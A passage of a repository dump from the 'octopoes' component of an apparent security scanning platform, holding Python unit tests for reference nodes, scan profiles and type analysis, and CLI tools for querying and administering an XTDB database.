\"Hostname|internet|ns1.ssonet.nl\"},\n            {\"xt/id\": \"Hostname|internet|ns2.dns.nl\"},\n            {\"xt/id\": \"Hostname|internet|ns2.ssonet.nl\"},\n            {\"xt/id\": \"Hostname|internet|ns3.dns.nl\"},\n            {\"xt/id\": \"Hostname|internet|ns3.ssonet.nl\"},\n        ],\n        \"ip_v4_addresses\": [\n            {\"xt/id\": \"IPAddressV4|internet|1.1.1.1\"},\n            {\"xt/id\": \"IPAddressV4|internet|147.181.98.150\"},\n        ],\n    },\n    \"parent\": {\n        \"hostnames\": [\n            {\"xt/id\": \"Hostname|internet|mail.ssonet.nl\"},\n            {\"xt/id\": \"Hostname|internet|mail2.ssonet.nl\"},\n            {\"xt/id\": \"Hostname|internet|ns1.dns.nl\"},\n            {\"xt/id\": \"Hostname|internet|ns1.ssonet.nl\"},\n            {\"xt/id\": \"Hostname|internet|ns2.dns.nl\"},\n            {\"xt/id\": \"Hostname|internet|ns2.ssonet.nl\"},\n            {\"xt/id\": \"Hostname|internet|ns3.dns.nl\"},\n            {\"xt/id\": \"Hostname|internet|ns3.ssonet.nl\"},\n        ]\n    },\n    \"soa\": {\n        \"xt/id\": \"Hostname|internet|ns1.dns.nl\",\n        \"dns_zone\": {},\n        \"name_server_of\": [{\"xt/id\": \"DNSZone|internet|nl\"}],\n        \"network\": {\"xt/id\": \"Network|internet\"},\n    },\n}\n\n\nclass ReferenceNodeTest(TestCase):\n    def test_filter_children(self):\n        ref_net = Reference(\"Network|internet\")\n        ref_ip = Reference(\"IPAddressV4|1.1.1.2\")\n        ref_port = Reference(\"IPPort|IPPort|internet|1.1.1.2|tcp|80\")\n\n        port_node = ReferenceNode(reference=ref_port, children={})\n        ip_node = ReferenceNode(reference=ref_ip, children={\"ports\": [port_node]})\n        root_node = ReferenceNode(reference=ref_net, children={\"ip_addresses\": [ip_node]})\n\n        root_node.filter_children(lambda x: x.reference.class_type == IPAddressV4)\n\n        # Node 2 deep should be have no children\n        self.assertDictEqual({}, root_node.children[\"ip_addresses\"][0].children)\n\n    def test_xtdb_reference_node_to_reference_node(self):\n        root = XTDBReferenceNode.model_validate(xtdb_sample)\n        reference_node = root.to_reference_node(\"xt/id\")\n        self.assertEqual(\n            \"IPAddressV6|internet|2001:1c00:2303:8f00:21c7:4dc2:5738:28af\",\n            str(\n                reference_node.children[\"IPPort/address\"][0]\n                .children[\"IPAddressV4/network\"][0]\n                .children[\"IPAddressV6/_network\"][0]\n                .reference\n            ),\n        )\n\n    def test_collect_references(self):\n        refs = {\n            Reference.from_str(\"IPAddressV6|internet|2001:1c00:2303:8f00:21c7:4dc2:5738:28af\"),\n            Reference.from_str(\"IPAddressV4|internet|1.1.1.2\"),\n            Reference.from_str(\"Network|internet\"),\n            Reference.from_str(\"IPPort|internet|1.1.1.2|tcp|80\"),\n        }\n\n        root = XTDBReferenceNode.model_validate(xtdb_sample)\n        reference_node = root.to_reference_node(\"xt/id\")\n\n        self.assertEqual(refs, reference_node.collect_references())\n\n    def test_xtdb_data_to_reference_node_complext(self):\n        root = XTDBReferenceNode.model_validate(xtdb_sample_2)\n        reference_node = root.to_reference_node(\"xt/id\")\n\n        self.assertEqual(\"DNSZone|internet|nl\", str(reference_node.reference))\n"
  },
  {
    "path": "octopoes/tests/test_scan_profile_repository.py",
    "content": "from unittest import TestCase\nfrom unittest.mock import patch\n\nfrom octopoes.models import DeclaredScanProfile, InheritedScanProfile, Reference\nfrom octopoes.repositories.scan_profile_repository import XTDBScanProfileRepository\nfrom tests.mocks.mock_ooi_types import ALL_OOI_TYPES, MockIPAddressV4, MockNetwork\n\n\n@patch(\"octopoes.models.types.ALL_TYPES\", ALL_OOI_TYPES)\nclass ScanProfileRepositoryTest(TestCase):\n    def setUp(self) -> None: ...\n\n    def test_serialize_declared(self):\n        scan_profile = DeclaredScanProfile(reference=Reference.from_str(\"MockIPAddressV4|internet|1.1.1.1\"), level=1)\n\n        serialized = XTDBScanProfileRepository.serialize(scan_profile)\n\n        self.assertEqual(\"ScanProfile|MockIPAddressV4|internet|1.1.1.1\", serialized[\"xt/id\"])\n        self.assertEqual(\"ScanProfile\", serialized[\"type\"])\n        self.assertEqual(\"declared\", serialized[\"scan_profile_type\"])\n        self.assertEqual(1, serialized[\"level\"])\n\n    def test_serialize_inherited(self):\n        network = MockNetwork(name=\"internet\")\n        ip = MockIPAddressV4(address=\"1.1.1.1\", network=network.reference)\n\n        scan_profile = InheritedScanProfile(reference=ip.reference, level=2)\n        serialized = XTDBScanProfileRepository.serialize(scan_profile)\n\n        self.assertEqual(\"ScanProfile|MockIPAddressV4|internet|1.1.1.1\", serialized[\"xt/id\"])\n        self.assertEqual(\"ScanProfile\", serialized[\"type\"])\n        self.assertEqual(\"inherited\", serialized[\"scan_profile_type\"])\n        self.assertEqual(2, serialized[\"level\"])\n\n    def test_deserialize_declared(self):\n        serialized = {\n            \"reference\": \"MockIPAddressV4|internet|1.1.1.1\",\n            \"level\": 1,\n            \"scan_profile_type\": \"declared\",\n            \"xt/id\": \"ScanProfile|MockIPAddressV4|internet|1.1.1.1\",\n            \"type\": \"ScanProfile\",\n        }\n        scan_profile = XTDBScanProfileRepository.deserialize(serialized)\n        self.assertIsInstance(scan_profile, DeclaredScanProfile)\n        self.assertEqual(Reference.from_str(\"MockIPAddressV4|internet|1.1.1.1\"), scan_profile.reference)\n        self.assertEqual(\"declared\", scan_profile.scan_profile_type)\n        self.assertEqual(1, scan_profile.level)\n\n    def test_deserialize_inherited_legacy(self):\n        serialized = {\n            \"reference\": \"MockIPAddressV4|internet|1.1.1.2\",\n            \"level\": 2,\n            \"scan_profile_type\": \"inherited\",\n            \"xt/id\": \"ScanProfile|MockIPAddressV4|internet|1.1.1.1\",\n            \"type\": \"ScanProfile\",\n            \"inheritances\": [\n                {\"parent\": \"MockNetwork|internet2\", \"source\": \"MockNetwork|internet2\", \"level\": 2, \"depth\": 1}\n            ],\n        }\n        scan_profile = XTDBScanProfileRepository.deserialize(serialized)\n        self.assertIsInstance(scan_profile, InheritedScanProfile)\n        self.assertEqual(Reference.from_str(\"MockIPAddressV4|internet|1.1.1.2\"), scan_profile.reference)\n        self.assertEqual(\"inherited\", scan_profile.scan_profile_type)\n        self.assertEqual(2, scan_profile.level)\n"
  },
  {
    "path": "octopoes/tests/test_type_analysis.py",
    "content": "from __future__ import annotations\n\nfrom unittest import TestCase\nfrom unittest.mock import patch\n\nimport pytest\nfrom pydantic import ValidationError\n\nfrom octopoes.models import OOI\nfrom octopoes.models.pagination import Paginated\nfrom octopoes.models.types import get_collapsed_types, get_relations, to_concrete, type_by_name\nfrom tests.mocks.mock_ooi_types import (\n    ALL_OOI_TYPES,\n    CONCRETE_OOITYPE_BY_NAME,\n    OOITYPE_BY_NAME,\n    MockDNSCNAMERecord,\n    MockDNSZone,\n    MockHostname,\n    MockIPAddress,\n    MockIPAddressV4,\n    MockIPAddressV6,\n    MockIPPort,\n    MockLabel,\n    MockNetwork,\n    MockOOIType,\n    MockResolvedHostname,\n)\n\n\ndef get_concrete_types() -> set[type[OOI]]:\n    return {t for t in ALL_OOI_TYPES if not t.strict_subclasses()}\n\n\ndef get_abstract_types() -> set[type[OOI]]:\n    return {t for t in ALL_OOI_TYPES if t.strict_subclasses()}\n\n\n@patch(\"octopoes.models.types.ALL_TYPES\", ALL_OOI_TYPES)\n@patch(\"octopoes.models.types.OOITYPE_BY_NAME\", OOITYPE_BY_NAME)\n@patch(\"octopoes.models.types.CONCRETE_OOITYPE_BY_NAME\", CONCRETE_OOITYPE_BY_NAME)\n@patch(\"octopoes.models.types.get_concrete_types\", get_concrete_types)\n@patch(\"octopoes.models.types.get_abstract_types\", get_abstract_types)\nclass TypeSystemTest(TestCase):\n    def test_concrete_types(self):\n        self.assertSetEqual(\n            {\n                MockNetwork,\n                MockIPAddressV4,\n                MockIPAddressV6,\n                MockIPPort,\n                MockHostname,\n                MockResolvedHostname,\n                MockDNSCNAMERecord,\n                MockDNSZone,\n                MockLabel,\n            },\n            get_concrete_types(),\n        )\n\n    def test_abstract_types(self):\n        self.assertSetEqual({OOI, MockIPAddress}, get_abstract_types())\n\n    def test_collapsed_types(self):\n        self.assertSetEqual(\n            {\n                MockIPAddress,\n                MockIPPort,\n                MockNetwork,\n                MockHostname,\n                MockResolvedHostname,\n                MockDNSCNAMERecord,\n                MockDNSZone,\n                MockLabel,\n            },\n            get_collapsed_types(),\n        )\n\n    def test_abstract_to_concrete(self):\n        self.assertEqual({MockIPAddressV4, MockIPAddressV6}, to_concrete({MockIPAddress}))\n\n    def test_ooi_to_concrete(self):\n        self.assertSetEqual(\n            {\n                MockNetwork,\n                MockIPAddressV4,\n                MockIPAddressV6,\n                MockIPPort,\n                MockHostname,\n                MockResolvedHostname,\n                MockDNSCNAMERecord,\n                MockDNSZone,\n                MockLabel,\n            },\n            to_concrete({OOI}),\n        )\n\n    def test_concrete_to_concrete(self):\n        self.assertSetEqual({MockIPAddressV4}, to_concrete({MockIPAddressV4}))\n\n    def test_type_by_name(self):\n        self.assertEqual(MockIPAddressV4, type_by_name(\"MockIPAddressV4\"))\n\n    def test_get_relations(self):\n        self.assertEqual({\"network\": MockNetwork}, get_relations(MockIPAddressV4))\n\n    def test_get_relations_abstract_class(self):\n        self.assertEqual({\"address\": MockIPAddress}, get_relations(MockIPPort))\n\n    def test_paginated(self):\n        with pytest.raises(ValidationError):\n            Paginated.model_validate({\"items\": []})\n\n        with pytest.raises(ValidationError):\n            Paginated.model_validate({\"count\": 0})\n\n        Paginated.model_validate({\"count\": 0, \"items\": []})\n        Paginated.model_validate({\"count\": 0, \"items\": [\"a\"]})\n        Paginated[MockOOIType].model_validate({\"count\": 0, \"items\": []})\n\n        with pytest.raises(ValidationError):\n            Paginated[MockOOIType].model_validate({\"count\": 0, \"items\": [\"a\"]})\n\n        Paginated[MockOOIType].model_validate({\"count\": 0, \"items\": [MockNetwork(name=\"test\")]})\n"
  },
  {
    "path": "octopoes/tools/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/tools/analyze-bit-metric.py",
    "content": "#!/usr/bin/env python\n\nimport json\nimport logging\nfrom datetime import datetime\n\nimport click\nfrom xtdb_client import XTDBClient\n\nlogger = logging.getLogger(__name__)\n\n\nclass BitMetric:\n    def __init__(self, data):\n        date_format = \"%Y-%m-%dT%H:%M:%SZ\"\n        self.tx_time: datetime = datetime.strptime(data[\"txTime\"], date_format)\n        self.tx_id: int = int(data[\"txId\"])\n        self.valid_time: datetime = datetime.strptime(data[\"validTime\"], date_format)\n        self.content_hash: str = data[\"contentHash\"]\n        self.yld: dict[str, str] = json.loads(data[\"doc\"][\"yield\"])\n        self.cfg: dict[str, str] = json.loads(data[\"doc\"][\"config\"])\n        self.src: dict[str, str] = json.loads(data[\"doc\"][\"source\"])\n        self.name: str = data[\"doc\"][\"bit\"]\n        self.pms: list[dict[str, str]] = json.loads(data[\"doc\"][\"parameters\"])\n        self.elapsed: list[dict[str, str]] = json.loads(data[\"doc\"][\"elapsed\"])\n\n    def empty(self):\n        return len(self.yld) == 0\n\n    def __eq__(self, val):\n        return (\n            self.src == val.src\n            and self.cfg == val.cfg\n            and self.yld == val.yld\n            and self.name == val.name\n            and self.pms == val.pms\n        )\n\n    def __hash__(self):\n        return hash(str(hash(self.tx_time)) + self.content_hash)\n\n\n@click.group(context_settings={\"help_option_names\": [\"-h\", \"--help\"], \"max_content_width\": 120, \"show_default\": True})\n@click.option(\"-n\", \"--node\", default=\"0\", help=\"XTDB node\")\n@click.option(\"-u\", \"--url\", default=\"http://localhost:3000\", help=\"XTDB server base url\")\n@click.option(\"-t\", \"--timeout\", type=int, default=5000, help=\"XTDB request timeout (in ms)\")\n@click.option(\"-v\", \"--verbosity\", count=True, help=\"Increase the verbosity level\")\n@click.pass_context\ndef cli(ctx: click.Context, url: str, node: str, timeout: int, verbosity: int):\n    verbosities = [logging.WARN, logging.INFO, logging.DEBUG]\n    try:\n        if verbosity:\n            logging.basicConfig(level=verbosities[verbosity - 1])\n    except IndexError:\n        raise click.UsageError(\"Invalid verbosity level (use -v, -vv, or -vvv)\")\n\n    client = XTDBClient(url, node, timeout)\n    logger.info(\"Instantiated XTDB client with endpoint %s for node %s\", url, node)\n\n    ctx.ensure_object(dict)\n    ctx.obj[\"client\"] = client\n    ctx.obj[\"raw_bit_metrics\"] = client.history(\"BIT_METRIC\", False, True)\n    if not ctx.obj[\"raw_bit_metrics\"]:\n        raise click.UsageError(\"No bit metrics found\")\n    if \"error\" in ctx.obj[\"raw_bit_metrics\"] and ctx.obj[\"raw_bit_metrics\"][\"error\"] == \"Node not found\":\n        raise click.UsageError(\"Node node found\")\n    ctx.obj[\"bit_metrics\"] = list(map(lambda x: BitMetric(x), ctx.obj[\"raw_bit_metrics\"]))\n\n\n@cli.command(help=\"Returns the raw bit metric\")\n@click.pass_context\ndef raw(ctx: click.Context):\n    click.echo(json.dumps(ctx.obj[\"raw_bit_metrics\"]))\n\n\n@cli.command(help=\"Returns the parsed metric\")\n@click.pass_context\ndef parse(ctx: click.Context):\n    bit_metrics = ctx.obj[\"bit_metrics\"]\n    metrics = {\n        \"total\": len(bit_metrics),\n        \"total_elapsed\": sum([bm.elapsed for bm in bit_metrics]),\n        \"empty\": len([bm for bm in bit_metrics if bm.empty()]),\n        \"empty_elapsed\": sum([bm.elapsed for bm in bit_metrics if bm.empty()]),\n        \"useful\": len([bm for bm in bit_metrics if not bm.empty()]),\n        \"useful_elapsed\": sum([bm.elapsed for bm in bit_metrics if not bm.empty()]),\n        \"futile_runs\": {bm.name: bit_metrics.count(bm) - 1 for bm in bit_metrics if bit_metrics.count(bm) > 1},\n    }\n    click.echo(json.dumps(metrics))\n\n\nif __name__ == \"__main__\":\n    cli()\n"
  },
  {
    "path": "octopoes/tools/rename-origin-method.py",
    "content": "#!/usr/bin/env python\n\nimport json\nimport logging\nfrom typing import Any\n\nimport click\nfrom xtdb_client import XTDBClient\n\nlogger = logging.getLogger(__name__)\n\n\n@click.group(context_settings={\"help_option_names\": [\"-h\", \"--help\"], \"max_content_width\": 120, \"show_default\": True})\n@click.option(\"-c\", \"--code\", default=\"0\", help=\"The organisation code\")\n@click.option(\"-u\", \"--url\", default=\"http://localhost:3000\", envvar=\"XTDB_URI\", help=\"XTDB server base url\")\n@click.option(\"-t\", \"--timeout\", type=int, default=5000, help=\"XTDB request timeout (in ms)\")\n@click.option(\"-v\", \"--verbosity\", count=True, help=\"Increase the verbosity level\")\n@click.pass_context\ndef cli(ctx: click.Context, url: str, code: str, timeout: int, verbosity: int):\n    verbosities = [logging.WARN, logging.INFO, logging.DEBUG]\n    try:\n        if verbosity:\n            logging.basicConfig(level=verbosities[verbosity - 1])\n    except IndexError:\n        raise click.UsageError(\"Invalid verbosity level (use -v, -vv, or -vvv)\")\n\n    client = XTDBClient(url, code, timeout)\n    logger.info(\"Instantiated XTDB client with endpoint %s for node %s\", url, code)\n\n    ctx.ensure_object(dict)\n    ctx.obj[\"client\"] = client\n\n\ndef method_query(method: str):\n    method = f'\"{method}\"' if method else \"\"\n    return f\"\"\"{{\n:query {{\n    :find [(pull ?var [*])] :where [\n            [?var :type \"Origin\"]\n            [?var :origin_type \"observation\"]\n            [?var :method {method}]\n        ]\n    }}\n}}\n\"\"\"\n\n\n@cli.command(\"list\", help=\"List observation origins based on method\")\n@click.argument(\"method\", required=False)\n@click.pass_context\ndef list_(ctx: click.Context, method: str):\n    origins = ctx.obj[\"client\"].query(method_query(method))\n    if not origins:\n        raise click.UsageError(\"No targets found\")\n    if \"error\" in origins:\n        raise click.UsageError(origins[\"error\"])\n    click.echo(json.dumps(origins))\n\n\ndef search_replace_method(data_list: list[dict[str, Any]], search_string: str, replace_string: str) -> None:\n    for data_dict in data_list:\n        for key in [\"method\", \"xt/id\"]:\n            if key in data_dict and search_string in data_dict[key]:\n                data_dict[key] = data_dict[key].replace(search_string, replace_string)\n\n\n@cli.command(help=\"Rename an observation origin method\")\n@click.option(\"--armed\", is_flag=True, help=\"Arm the tool to overwrite the method name (confirmation)\")\n@click.argument(\"method\")\n@click.argument(\"renamed\")\n@click.pass_context\ndef rename(ctx: click.Context, armed: bool, method: str, renamed: str):\n    origins = ctx.obj[\"client\"].query(method_query(method))\n    if not origins:\n        raise click.UsageError(\"No targets found\")\n    if \"error\" in origins:\n        raise click.UsageError(origins[\"error\"])\n    if armed:\n        delete_txs = [[\"delete\", o[0][\"xt/id\"]] for o in origins]\n        search_replace_method([o[0] for o in origins], method, renamed)\n        put_txs = [[\"put\", o[0]] for o in origins]\n        click.echo(json.dumps(ctx.obj[\"client\"].submit_tx(delete_txs + put_txs)))\n    else:\n        search_replace_method([o[0] for o in origins], method, renamed)\n        click.echo(json.dumps(origins))\n\n\nif __name__ == \"__main__\":\n    cli()\n"
  },
  {
    "path": "octopoes/tools/run_bit.py",
    "content": "#!/usr/bin/env python3\n# ruff: noqa: E402\n\nimport logging\nimport pdb\nimport sys\nfrom datetime import datetime, timezone\nfrom pathlib import Path\n\nimport click\n\nsys.path.append(str(Path(__file__).resolve().parent.parent))\n\nfrom bits.definitions import get_bit_definitions\n\nfrom octopoes.config.settings import Settings\nfrom octopoes.core.app import bootstrap_octopoes, get_xtdb_client\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.origin import Origin, OriginParameter, OriginType\nfrom octopoes.models.path import Path as OctopoesPath\nfrom octopoes.xtdb.client import XTDBSession\n\nlogging.basicConfig(stream=sys.stdout, level=logging.INFO, force=True)\n\n\n@click.command()\n@click.option(\"--pdb\", \"start_pdb\", is_flag=True, help=\"Start pdb on exceptions\")\n@click.argument(\"organization_code\")\n@click.argument(\"bit_id\")\n@click.argument(\"ooi\")\ndef run_bit(start_pdb, organization_code, bit_id, ooi):\n    \"\"\"Run bit\"\"\"\n    settings = Settings()\n\n    valid_time = datetime.now(timezone.utc)\n\n    session = XTDBSession(get_xtdb_client(str(settings.xtdb_uri), organization_code))\n    octopoes_service = bootstrap_octopoes(settings, organization_code, session)\n    ooi_repository = octopoes_service.ooi_repository\n    origin_repository = octopoes_service.origin_repository\n    origin_parameter_repository = octopoes_service.origin_parameter_repository\n\n    ooi = ooi_repository.get(ooi, valid_time)\n\n    bit_definition = get_bit_definitions()[bit_id]\n\n    bit_instance = Origin(origin_type=OriginType.INFERENCE, method=bit_id, source=ooi.reference)\n\n    try:\n        try:\n            origin_repository.get(bit_instance.id, valid_time)\n        except ObjectNotFoundException:\n            origin_repository.save(bit_instance, valid_time)\n\n        for param_def in bit_definition.parameters:\n            path = OctopoesPath.parse(f\"{param_def.ooi_type.get_object_type()}.{param_def.relation_path}\").reverse()\n\n            param_oois = ooi_repository.list_related(ooi, path, valid_time=valid_time)\n            for param_ooi in param_oois:\n                param = OriginParameter(origin_id=bit_instance.id, reference=param_ooi.reference)\n                origin_parameter_repository.save(param, valid_time)\n\n        octopoes_service._run_inference(bit_instance, valid_time)\n        octopoes_service.commit()\n    except Exception:\n        if start_pdb:\n            pdb.post_mortem()\n\n        raise\n\n\nif __name__ == \"__main__\":\n    run_bit()\n"
  },
  {
    "path": "octopoes/tools/xtdb-cli.py",
    "content": "#!/usr/bin/env python\n\nimport datetime\nimport json\nimport logging\nimport re\n\nimport click\nfrom xtdb_client import XTDBClient\n\nlogger = logging.getLogger(__name__)\n\n\n@click.group(context_settings={\"help_option_names\": [\"-h\", \"--help\"], \"max_content_width\": 120, \"show_default\": True})\n@click.option(\"-n\", \"--node\", help=\"XTDB node\")\n@click.option(\"-u\", \"--url\", default=\"http://localhost:3000\", help=\"XTDB server base url\")\n@click.option(\"-t\", \"--timeout\", type=int, default=5000, help=\"XTDB request timeout (in ms)\")\n@click.option(\"-v\", \"--verbosity\", count=True, help=\"Increase the verbosity level\")\n@click.pass_context\ndef cli(ctx: click.Context, url: str, node: str | None, timeout: int, verbosity: int):\n    \"\"\"This help functionality explains how to query XTDB using the xtdb-cli tool.\n    The help functionality for all default XTDB commands was copied from the official\n    XTDB docs for the HTTP implementation. Not all optional parameters as available\n    on the HTTP docs may be implemented.\"\"\"\n    verbosities = [logging.WARN, logging.INFO, logging.DEBUG]\n    try:\n        if verbosity:\n            logging.basicConfig(level=verbosities[verbosity - 1])\n    except IndexError:\n        raise click.UsageError(\"Invalid verbosity level (use -v, -vv, or -vvv)\")\n\n    client = XTDBClient(url, node, timeout)\n    if node:\n        logger.info(\"Instantiated XTDB client with endpoint %s for node %s\", url, node)\n    else:\n        logger.info(\"Instantiated XTDB client with endpoint %s\", url)\n\n    ctx.ensure_object(dict)\n    ctx.obj[\"client\"] = client\n\n\n@cli.command(help=\"Returns the current list of available nodes\")\n@click.pass_context\ndef nodes(ctx: click.Context):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.nodes()))\n\n\n@cli.command(help=\"Creates a new node\")\n@click.pass_context\ndef create_node(ctx: click.Context):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.create_node()))\n\n\n@cli.command(help=\"Deletes a node. Warning destructive operation!\")\n@click.pass_context\ndef delete_node(ctx: click.Context):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.delete_node()))\n\n\n@cli.command(help=\"Returns the current status information of the node\")\n@click.pass_context\ndef status(ctx: click.Context):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.status()))\n\n\n@cli.command(help='EDN Query (default: \"{:query {:find [ ?var ] :where [[?var :xt/id ]]}}\")')\n@click.option(\"--tx-id\", type=int, help=\"In UTC, defaulting to latest transaction id (integer)\")\n@click.option(\"--tx-time\", type=click.DateTime(), help=\"In UTC, defaulting to latest transaction time (date)\")\n@click.option(\"--valid-time\", type=click.DateTime(), help=\"In UTC, defaulting to now (date)\")\n@click.argument(\"edn\", required=False)\n@click.pass_context\ndef query(\n    ctx: click.Context,\n    edn: str,\n    valid_time: datetime.datetime | None = None,\n    tx_time: datetime.datetime | None = None,\n    tx_id: int | None = None,\n):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    if edn:\n        click.echo(json.dumps(client.query(edn, valid_time, tx_time, tx_id)))\n    else:\n        click.echo(json.dumps(client.query(valid_time=valid_time, tx_time=tx_time, tx_id=tx_id)))\n\n\n@cli.command(help=\"Fetch origins for entity\")\n@click.option(\n    \"--with-params\",\n    is_flag=True,\n    help=\"\"\"Includes related OriginParameters in the response\n    (boolean, default: false)\"\"\",\n)\n@click.argument(\"entity\")\n@click.pass_context\ndef origins(ctx: click.Context, entity: str, with_params: bool):\n    client: XTDBClient = ctx.obj[\"client\"]\n    click.echo(json.dumps(client.origins(entity, with_params)))\n\n\n@cli.command(help=\"List all keys in node\")\n@click.pass_context\ndef list_keys(ctx: click.Context):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.query()))\n\n\n@cli.command(help=\"List all values in node\")\n@click.pass_context\ndef list_values(ctx: click.Context):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.query(\"{:query {:find [(pull ?var [*])] :where [[?var :xt/id]]}}\")))\n\n\n@cli.command(help=\"Returns the document map for a particular entity.\")\n@click.option(\"--tx-id\", type=int, help=\"In UTC, defaulting to latest transaction id (integer)\")\n@click.option(\"--tx-time\", type=click.DateTime(), help=\"In UTC, defaulting to latest transaction time (date)\")\n@click.option(\"--valid-time\", type=click.DateTime(), help=\"In UTC, defaulting to now (date)\")\n@click.argument(\"key\")\n@click.pass_context\ndef entity(\n    ctx: click.Context,\n    key: str,\n    valid_time: datetime.datetime | None = None,\n    tx_time: datetime.datetime | None = None,\n    tx_id: int | None = None,\n):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.entity(key, valid_time, tx_time, tx_id)))\n\n\n@cli.command(help=\"Returns the history of a particular entity.\")\n@click.option(\n    \"--with-docs\",\n    is_flag=True,\n    help=\"Includes the documents in the response sequence, under the doc key (boolean, default: false)\",\n)\n@click.option(\n    \"--with-corrections\",\n    is_flag=True,\n    help=\"\"\"Includes bitemporal corrections in the response, inline,\n    sorted by valid-time (in UTC) then tx-id (boolean, default: false)\"\"\",\n)\n@click.argument(\"key\")\n@click.pass_context\ndef history(ctx: click.Context, key: str, with_corrections: bool, with_docs: bool):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.history(key, with_corrections, with_docs)))\n\n\n@cli.command(help=\"Returns the transaction details for an entity - returns a map containing the tx-id and tx-time.\")\n@click.option(\"--tx-id\", type=int, help=\"In UTC, defaulting to the latest transaction id (integer)\")\n@click.option(\"--tx-time\", type=click.DateTime(), help=\"In UTC, defaulting to the latest transaction time (date)\")\n@click.option(\"--valid-time\", type=click.DateTime(), help=\"In UTC, defaulting to now (date)\")\n@click.argument(\"key\")\n@click.pass_context\ndef entity_tx(\n    ctx: click.Context,\n    key: str,\n    valid_time: datetime.datetime | None = None,\n    tx_time: datetime.datetime | None = None,\n    tx_id: int | None = None,\n):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.entity_tx(key, valid_time, tx_time, tx_id)))\n\n\n@cli.command(help=\"Returns frequencies of indexed attributes\")\n@click.pass_context\ndef attribute_stats(ctx: click.Context):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.attribute_stats()))\n\n\n@cli.command(\n    help=\"\"\"Wait until the Kafka consumer’s lag is back to 0 (i.e. when it no longer has\n    pending transactions to write). Returns the transaction time of the most recent transaction.\"\"\"\n)\n@click.option(\"--timeout\", type=int, help=\"Specified in milliseconds (integer)\")\n@click.pass_context\ndef sync(ctx: click.Context, timeout: int | None):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.sync(timeout)))\n\n\n@cli.command(\n    help=\"\"\"Waits until the node has indexed a transaction that is at or past the\n    supplied tx-id. Returns the most recent tx indexed by the node.\"\"\"\n)\n@click.option(\"--timeout\", type=int, help=\"Specified in milliseconds, defaulting to 10 seconds (integer)\")\n@click.argument(\"tx-id\", type=int)\n@click.pass_context\ndef await_tx(ctx: click.Context, tx_id: int, timeout: int | None):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.await_tx(tx_id, timeout)))\n\n\n@cli.command(\n    help=\"\"\"Blocks until the node has indexed a transaction that is past the supplied tx-time.\n    The returned date is the latest index time when this node has caught up as of this call.\"\"\"\n)\n@click.option(\"--timeout\", type=int, help=\"Specified in milliseconds, defaulting to 10 seconds (integer)\")\n@click.argument(\"tx-time\", type=click.DateTime())\n@click.pass_context\ndef await_tx_time(ctx: click.Context, tx_time: datetime.datetime, timeout: int | None):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.await_tx_time(tx_time, timeout)))\n\n\n@cli.command(\n    help=\"Returns a list of all transactions, from oldest to newest transaction time - optionally including documents.\"\n)\n@click.option(\n    \"--with-ops\", is_flag=True, help=\"Should the operations with documents be included? (boolean, default: false)\"\n)\n@click.option(\"--after-tx-id\", type=int, help=\"Transaction id to start after (integer, default: unbounded)\")\n@click.pass_context\ndef tx_log(ctx: click.Context, after_tx_id: int | None, with_ops: bool):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.tx_log(after_tx_id, with_ops)))\n\n\n@cli.command(help=\"Show all document transactions\")\n@click.pass_context\ndef txs(ctx: click.Context):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.tx_log(None, True)))\n\n\n@cli.command(\n    help=\"\"\"Takes a space separated list of transactions (any combination of put, delete, match, evict and fn)\n    and executes them in order. This is the only 'write' endpoint.\"\"\"\n)\n@click.argument(\"txs\", nargs=-1)\n@click.pass_context\ndef submit_tx(ctx: click.Context, txs):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.submit_tx([json.loads(tx) for tx in txs])))\n\n\n@cli.command(\n    help=\"\"\"Checks if a submitted tx was successfully committed, returning a map with tx-committed and\n    either true or false (or a NodeOutOfSyncException exception response if the node has not yet indexed\n    the transaction).\"\"\"\n)\n@click.argument(\"tx-id\", type=int)\n@click.pass_context\ndef tx_committed(ctx: click.Context, tx_id: int) -> None:\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.tx_committed(tx_id)))\n\n\n@cli.command(help=\"Returns the latest transaction to have been indexed by this node.\")\n@click.pass_context\ndef latest_completed_tx(ctx: click.Context):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.latest_completed_tx()))\n\n\n@cli.command(help=\"Returns the latest transaction to have been submitted to this cluster.\")\n@click.pass_context\ndef latest_submitted_tx(ctx: click.Context):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.latest_submitted_tx()))\n\n\n@cli.command(help=\"Returns a list of currently running queries.\")\n@click.pass_context\ndef active_queries(ctx: click.Context):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.active_queries()))\n\n\n@cli.command(help=\"Returns a list of recently completed/failed queries.\")\n@click.pass_context\ndef recent_queries(ctx: click.Context):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.recent_queries()))\n\n\n@cli.command(help=\"Returns a list of slowest completed/failed queries ran on the node.\")\n@click.pass_context\ndef slowest_queries(ctx: click.Context):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    click.echo(json.dumps(client.slowest_queries()))\n\n\n@cli.command(help=\"Deletes all objects of the given type with an evict.\")\n@click.argument(\"objecttype\")\n@click.pass_context\ndef evict_by_objecttype(ctx: 